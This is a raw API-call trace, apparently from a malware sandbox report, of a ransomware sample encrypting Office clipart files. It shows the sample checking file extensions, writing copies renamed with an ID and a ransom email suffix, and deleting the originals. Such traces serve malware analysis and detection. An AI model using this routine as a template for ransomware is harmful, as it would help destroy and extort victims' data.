	[0091.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0091.191] lstrlenW (lpString=".jpg") returned 4
	[0091.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0091.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0091.191] lstrlenW (lpString=".doc") returned 4
	[0091.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.191] lstrlenW (lpString=".docx") returned 5
	[0091.191] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.191] lstrlenW (lpString=".pdf") returned 4
	[0091.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.191] lstrlenW (lpString=".xls") returned 4
	[0091.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.191] lstrlenW (lpString=".xlsx") returned 5
	[0091.191] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.191] lstrlenW (lpString=".ppt") returned 4
	[0091.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0091.191] lstrlenW (lpString=".zip") returned 4
	[0091.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.191] lstrlenW (lpString=".rar") returned 4
	[0091.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.191] lstrlenW (lpString=".bz2") returned 4
	[0091.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.191] lstrlenW (lpString=".7z") returned 3
	[0091.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0091.191] lstrlenW (lpString=".dbf") returned 4
	[0091.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0091.192] lstrlenW (lpString=".1cd") returned 4
	[0091.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0091.192] lstrlenW (lpString=".jpg") returned 4
	[0091.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.192] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0091.192] lstrlenW (lpString="DD01182_.WMF") returned 12
	[0091.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0091.192] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2996) returned 1
	[0091.192] CloseHandle (hObject=0x38c) returned 1
	[0091.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x220
	[0091.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0091.192] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.193] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0091.193] GetLastError () returned 0x0
	[0091.193] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xbb4, lpOverlapped=0x0) returned 1
	[0091.194] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xbc0, lpOverlapped=0x0) returned 1
	[0091.200] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.200] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.200] SetEndOfFile (hFile=0x398) returned 1
	[0091.200] CloseHandle (hObject=0x398) returned 1
	[0091.200] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.200] SetEndOfFile (hFile=0x38c) returned 1
	[0091.201] CloseHandle (hObject=0x38c) returned 1
	[0091.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0091.201] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 1
	[0091.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0091.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0091.202] lstrlenW (lpString=".doc") returned 4
	[0091.202] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.202] lstrlenW (lpString=".docx") returned 5
	[0091.202] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.202] lstrlenW (lpString=".pdf") returned 4
	[0091.202] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.202] lstrlenW (lpString=".xls") returned 4
	[0091.202] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.202] lstrlenW (lpString=".xlsx") returned 5
	[0091.202] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.202] lstrlenW (lpString=".ppt") returned 4
	[0091.202] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0091.202] lstrlenW (lpString=".zip") returned 4
	[0091.202] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.202] lstrlenW (lpString=".rar") returned 4
	[0091.202] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.202] lstrlenW (lpString=".bz2") returned 4
	[0091.202] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.202] lstrlenW (lpString=".7z") returned 3
	[0091.202] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0091.202] lstrlenW (lpString=".dbf") returned 4
	[0091.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0091.202] lstrlenW (lpString=".1cd") returned 4
	[0091.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0091.202] lstrlenW (lpString=".jpg") returned 4
	[0091.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0091.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0091.203] lstrlenW (lpString=".doc") returned 4
	[0091.203] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.203] lstrlenW (lpString=".docx") returned 5
	[0091.203] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.203] lstrlenW (lpString=".pdf") returned 4
	[0091.203] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.203] lstrlenW (lpString=".xls") returned 4
	[0091.203] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.203] lstrlenW (lpString=".xlsx") returned 5
	[0091.203] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.203] lstrlenW (lpString=".ppt") returned 4
	[0091.203] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0091.203] lstrlenW (lpString=".zip") returned 4
	[0091.203] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.203] lstrlenW (lpString=".rar") returned 4
	[0091.203] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.203] lstrlenW (lpString=".bz2") returned 4
	[0091.203] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.203] lstrlenW (lpString=".7z") returned 3
	[0091.203] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0091.203] lstrlenW (lpString=".dbf") returned 4
	[0091.203] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0091.203] lstrlenW (lpString=".1cd") returned 4
	[0091.203] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0091.203] lstrlenW (lpString=".jpg") returned 4
	[0091.203] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.204] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0091.204] lstrlenW (lpString="DD01183_.WMF") returned 12
	[0091.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0091.204] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2296) returned 1
	[0091.204] CloseHandle (hObject=0x38c) returned 1
	[0091.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x220
	[0091.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0091.204] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.204] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0091.205] GetLastError () returned 0x0
	[0091.205] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x8f8, lpOverlapped=0x0) returned 1
	[0091.206] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x900, lpOverlapped=0x0) returned 1
	[0091.207] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.207] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.207] SetEndOfFile (hFile=0x398) returned 1
	[0091.207] CloseHandle (hObject=0x398) returned 1
	[0091.207] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.207] SetEndOfFile (hFile=0x38c) returned 1
	[0091.208] CloseHandle (hObject=0x38c) returned 1
	[0091.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0091.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 1
	[0091.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0091.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0091.209] lstrlenW (lpString=".doc") returned 4
	[0091.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.209] lstrlenW (lpString=".docx") returned 5
	[0091.209] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.209] lstrlenW (lpString=".pdf") returned 4
	[0091.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.209] lstrlenW (lpString=".xls") returned 4
	[0091.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.209] lstrlenW (lpString=".xlsx") returned 5
	[0091.209] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.209] lstrlenW (lpString=".ppt") returned 4
	[0091.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0091.209] lstrlenW (lpString=".zip") returned 4
	[0091.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.209] lstrlenW (lpString=".rar") returned 4
	[0091.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.209] lstrlenW (lpString=".bz2") returned 4
	[0091.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.209] lstrlenW (lpString=".7z") returned 3
	[0091.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0091.209] lstrlenW (lpString=".dbf") returned 4
	[0091.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0091.209] lstrlenW (lpString=".1cd") returned 4
	[0091.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0091.209] lstrlenW (lpString=".jpg") returned 4
	[0091.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0091.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0091.342] lstrlenW (lpString=".doc") returned 4
	[0091.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.342] lstrlenW (lpString=".docx") returned 5
	[0091.342] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.342] lstrlenW (lpString=".pdf") returned 4
	[0091.342] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.342] lstrlenW (lpString=".xls") returned 4
	[0091.342] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.342] lstrlenW (lpString=".xlsx") returned 5
	[0091.342] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.342] lstrlenW (lpString=".ppt") returned 4
	[0091.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0091.342] lstrlenW (lpString=".zip") returned 4
	[0091.342] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.342] lstrlenW (lpString=".rar") returned 4
	[0091.342] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.342] lstrlenW (lpString=".bz2") returned 4
	[0091.342] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.342] lstrlenW (lpString=".7z") returned 3
	[0091.342] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0091.342] lstrlenW (lpString=".dbf") returned 4
	[0091.342] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0091.342] lstrlenW (lpString=".1cd") returned 4
	[0091.342] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0091.342] lstrlenW (lpString=".jpg") returned 4
	[0091.342] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.342] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0091.342] lstrlenW (lpString="DD01186_.WMF") returned 12
	[0091.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0091.343] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=8564) returned 1
	[0091.343] CloseHandle (hObject=0x38c) returned 1
	[0091.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x220
	[0091.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0091.343] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.343] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0091.344] GetLastError () returned 0x0
	[0091.344] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x2174, lpOverlapped=0x0) returned 1
	[0091.775] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x2180, lpOverlapped=0x0) returned 1
	[0091.776] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.776] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.776] SetEndOfFile (hFile=0x398) returned 1
	[0091.776] CloseHandle (hObject=0x398) returned 1
	[0091.776] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.776] SetEndOfFile (hFile=0x38c) returned 1
	[0091.777] CloseHandle (hObject=0x38c) returned 1
	[0091.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0091.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 1
	[0091.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0091.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0091.913] lstrlenW (lpString=".doc") returned 4
	[0091.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.913] lstrlenW (lpString=".docx") returned 5
	[0091.913] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.913] lstrlenW (lpString=".pdf") returned 4
	[0091.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.913] lstrlenW (lpString=".xls") returned 4
	[0091.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.913] lstrlenW (lpString=".xlsx") returned 5
	[0091.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.913] lstrlenW (lpString=".ppt") returned 4
	[0091.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0091.914] lstrlenW (lpString=".zip") returned 4
	[0091.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.914] lstrlenW (lpString=".rar") returned 4
	[0091.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.914] lstrlenW (lpString=".bz2") returned 4
	[0091.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.914] lstrlenW (lpString=".7z") returned 3
	[0091.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0091.914] lstrlenW (lpString=".dbf") returned 4
	[0091.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
